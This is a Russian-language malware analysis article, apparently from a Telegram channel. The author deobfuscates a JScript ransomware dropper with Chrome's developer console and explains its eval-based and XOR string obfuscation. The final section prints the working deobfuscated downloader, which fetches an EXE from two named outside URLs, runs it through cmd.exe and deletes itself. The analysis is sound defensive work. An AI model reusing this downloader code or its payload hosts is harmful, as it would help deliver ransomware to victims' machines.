Вредонос на JS. Как Chrome помог мне реверсить вирус-шифровальщик
Источник: t.me/Bureau121
Содержание статьи
Прежде чем обратиться ко мне, приятель несколько раз попытался открыть файл из архива. По его словам, ничего не произошло. Но я все равно велел ему немедленно выключить компьютер и вытащить из него жесткий диск. Однако было слишком поздно.
Вирус уже успел зашифровать половину файлов на диске D и даже забрался в расшаренную папку. Часть файлов удалось восстановить с помощью инструментов для восстановления удаленных файлов, но по закону подлости самые важные файлы были утрачены. Дальше классика жанра: на рабочем столе появилась новая картинка, а также текстовый файл с требованием определенной суммы за расшифровку данных и контактами злоумышленника.
Позднее я решил разобраться с этим вирусом в песочнице (VirtualBox + Windows XP). В архиве я обнаружил файл JavaScript, точнее файл с расширением .js
и содержимым, по синтаксису напоминающим JavaScript.
... function yW() { var lN=""; lN=lN+W(101)+W(5085/45-0)+W(54+56)+W(983-875)+W(1056/16+0)+W(32+71)+W(3456/36+0)+W(1045-932)+W(885-819)+W(10*11)+W(26+73)+W(823-723); return lN; } function Gyh() { var eKt=""; eKt=eKt; return eKt; } function Wb(Ea, Ki) { var kO = w(Ea); var YM = Szh(); var Ofr = w(Ki); var laN = [To()][RkE()]; while (YM < kO) { var hN = YM / ie(); var cra = Ea[Hn()](YM); YM = YM + Efo(); cra = cra + Ea[mO()](YM); YM = YM + Fi(); var mM = Bie(cra, dkW()); var WzA = Ki[CC()](hN % Ofr); var dCt = mM ^ WzA; var bHh = String[yW()](dCt); laN = laN + Gyh() + bHh; } return laN; } ...
Неправильные пчелы
«Это неправильные пчелы! И JavaScript у них какой-то неправильный», — подумал я. К тому же путь от открытия файла .js
до шифрования файлов, на первый взгляд, не прослеживался.
Есть в Windows такая вещь, как WSH — сервер сценариев Windows. Он используется для запуска сценариев, написанных на определенных скриптовых языках, в том числе и на JScript — такие скрипты имеют расширение .js
.
INFO
JScript — сценарный язык программирования компании Microsoft, являющийся реализацией стандарта ECMAScript. Синтаксис JScript во многом аналогичен языку JavaScript компании Netscape, однако JScript может использоваться не только для добавления клиентских скриптов на веб-страницы, но и для автоматизации администрирования Windows. За выполнение таких скриптов отвечает компонент WScript — Windows Script Host. Помимо языка JScript, поддерживается VBScript, а также и некоторые другие дополнительно устанавливаемые языки (например, Perl).
Переменные в коде — случайный набор букв. Также мы знаем, что код содержит около ста функций, которые возвращают результат арифметических действий над константами, и около двадцати функций, которые тем или иным образом обрабатывают эти результаты. Некоторые функции аналогично работают со строковыми константами. Это говорит о том, что код хорошо обфусцирован.
Весь секрет заключается в функции eval()
. Эта функция выполняет код, переданный ей в качестве строки, а возвращает значение, равное последнему выражению. Рассмотрим одну из функций нашего шифровальщика.
function W(svu) { var bHh = eval(Nx() + (svu+1) + uSk()); return bHh; }
Давай разберемся, что здесь происходит.
Функция Nx()
, объявленная ранее, возвращает строку String.fromCharCode(
, а uSK()
возвращает закрывающую скобку. W()
в качестве параметра принимает число, прибавляет единицу и возвращает eval("String.fromCharCode(" + (svu+1) + ")")
. Берет число, прибавляет единицу и переводит в CHAR
. Затем символы группируются в другие строки и подаются на вход функции eval()
, но уже в другом месте.
Прибегаем к помощи Chrome
На изучение всех переменных и значений, которые эти переменные хранят, ушло бы очень много времени. Но код написан на языке, аналогичном JavaScript, и кое-что может упростить обфускацию. А именно — консоль разработчика в браузере Chrome послужит нам отличным средством отладки.
Chrome ругается на объект под названием ActiveXObject
. Этот объект используется в Windows и позволяет создавать управляющие элементы ActiveX.
INFO
ActiveX — фреймворк для определения программных компонентов, пригодных к использованию из программ, написанных на разных языках программирования. Объекты ActiveXObject
используются в приложениях для Windows, таких как Internet Explorer, Microsoft Office, Microsoft Visual Studio, Windows Media Player, и самой операционной системой.
Браузер не знает о таких прелестях Windows. ActiveXObject
не был указан в коде в прямом виде, а значит, нельзя закомментировать использующий его код и запустить. Следовательно, нельзя и посмотреть, что вообще происходит. Но мы можем запустить отдельные функции и узнать, что они возвращают. К счастью, функции объявляются в том порядке, в котором они вызывались. Это позволяет рассматривать не каждую функцию в отдельности, а блоки из нескольких, при этом обращая внимание только на результат последней функции.
Результат всегда был постоянный, поэтому я решил, что его можно вписать вместо вызова последней функции, а сами функции удалить. Попутно я запускал отредактированный код на виртуальной машине и сравнивал с оригиналом, чтобы убедиться, что мои изменения не повлияли на результат.
Таким образом код сокращается в разы. Вот пример одной из таких цепочек. Функция xRy()
в итоге возвращает String.from
.
... function RVt() { return GH + "g"+"."; } function c() { return eval("String.fromCharCode(37+74)"); } function G() { return "r"+c(); } function LNe() { return qQ()+G();} function xRy() { return RVt()+LNe()+"m"; } ...
На следующем шаге мне встретился уже известный нам ActiveXObject
:
var we = eval("ActiveXObject");
Здесь создается переменная, вызывается функция eval()
, которая возвращает объект ActiveXObject
. Значит, мы можем удалить эту строку, а в местах, где используется эта переменная, использовать сам объект. Методы объектов тоже были обфусцированы. Каждое имя в зашифрованном виде было определено двумя строками, а для расшифровки вызывалась функция Wb()
.
function Wb(Ea, Ki) { var kO = w(Ea); var YM = Szh(); var Ofr = w(Ki); var laN = [To()][RkE()]; while (YM < kO) { var hN = YM / ie(); var cra = Ea[Hn()](YM); YM = YM + Efo(); cra = cra + Ea[mO()](YM); YM = YM + Fi(); var mM = Bie(cra, dkW()); var WzA = Ki[CC()](hN % Ofr); var dCt = mM ^ WzA; var bHh = String[yW()](dCt); laN = laN + Gyh() + bHh; } return laN; }
Разбираться, как эта функция работает, необязательно. Ведь можно вызвать ее в браузере с нужными строками. Эта строка, к примеру, превращается в ScriptFullName
:
Wb("350211334026350D0E253E290C20","facZ0RsxbIpHaEfKH0O88alv5fT70lEqyiHGesg20zxqoDXccZ356pUTXw6G1aUM0COgxBm")
Но как вызвать метод, имя которого хранится в строке? Автор зловреда знает такой прием.
var stream = new ActiveXObject("ADODB.Stream"); stream.["Open"](); stream.["Type"] = 1; stream.["Write"](XMLHTTP.ResponseBody); stream.["Position"] = 0;
Еще один прием обфускации, который встречается в коде, — ложное ветвление. Это значит, что создается переменная, сравнивается сама с собой, а в блок else
вставляется ненужный код. Такой трюк не мешает анализу кода, но замедляет его.
Шаг за шагом перед нами появляется исходный код зловреда. Для удобства я заменил названия некоторых переменных на понятные. Код представляет собой тело и одну функцию. Сначала объявляется массив строк, содержащий два адреса URL. Затем последовательно для каждого URL запускается функция download
, которая пытается скачать файл по принятому URL, а затем запустить. Возвращает true
, если выполнилась успешно.
function download(url) { var WShell = new ActiveXObject("Wscript.Shell"); var fsObject = new ActiveXObject("Scripting.FileSystemObject"); var XMLHTTP = new ActiveXObject("MSXML2.XMLHTTP"); XMLHTTP.open("GET", url, 0); // Создаем синхронный запрос XMLHTTP.send(); // Отсылаем запрос if (XMLHTTP.Status == 200) { // Если запрос прошел успешно, var newFile = fsObject.GetSpecialFolder(2) + "\\ " + fsObject.GetTempName(); // получаем дескриптор для временного файла var stream = new ActiveXObject("ADODB.Stream"); stream.Open(); stream.Type = 1; // Единица означает бинарные данные stream.Write(XMLHTTP.ResponseBody); stream.Position = 0; if (stream.Size < 10) return false; stream.SaveToFile(newFile); // Сохраняем файл WShell.run("cmd.exe /c " + newFile, 0); // Запускаем файл fsObject.deleteFile(WScript.ScriptFullName); // Удаляем return true; } else { return false; } return true; } // Тело var urls = []; urls[0] = "http://www.interlaan.com/5e01a65eb3758.exe"; urls[1] = "http://vaibhavastrogemology.com/old/5e01a65eb3758.exe"; var flag = false; var i = 0; while (!flag) { if (i > 1) break; flag = download(urls[i]); i++; }
Итоги
Итак, я выяснил, что этот файл представляет собой лишь часть шифровальщика. Под видом документа он проникает на компьютер пользователя и загружает модуль, который и провернет всю грязную работу. В «Лаборатории Касперского» такие шифровальщики выделяют в отдельный класс Trojan-Downloader.JS.Agent и описывают так:
Обычно зловреды этого семейства представляют собой обфусцированный скрипт. Зловреды используют функционал ADODB.Stream
, который позволяет им скачивать и запускать файлы DLL, EXE и PDF.
Что ж, на этом мое исследование заканчивается. Надеюсь, ты тоже почерпнул из него немного полезного опыта.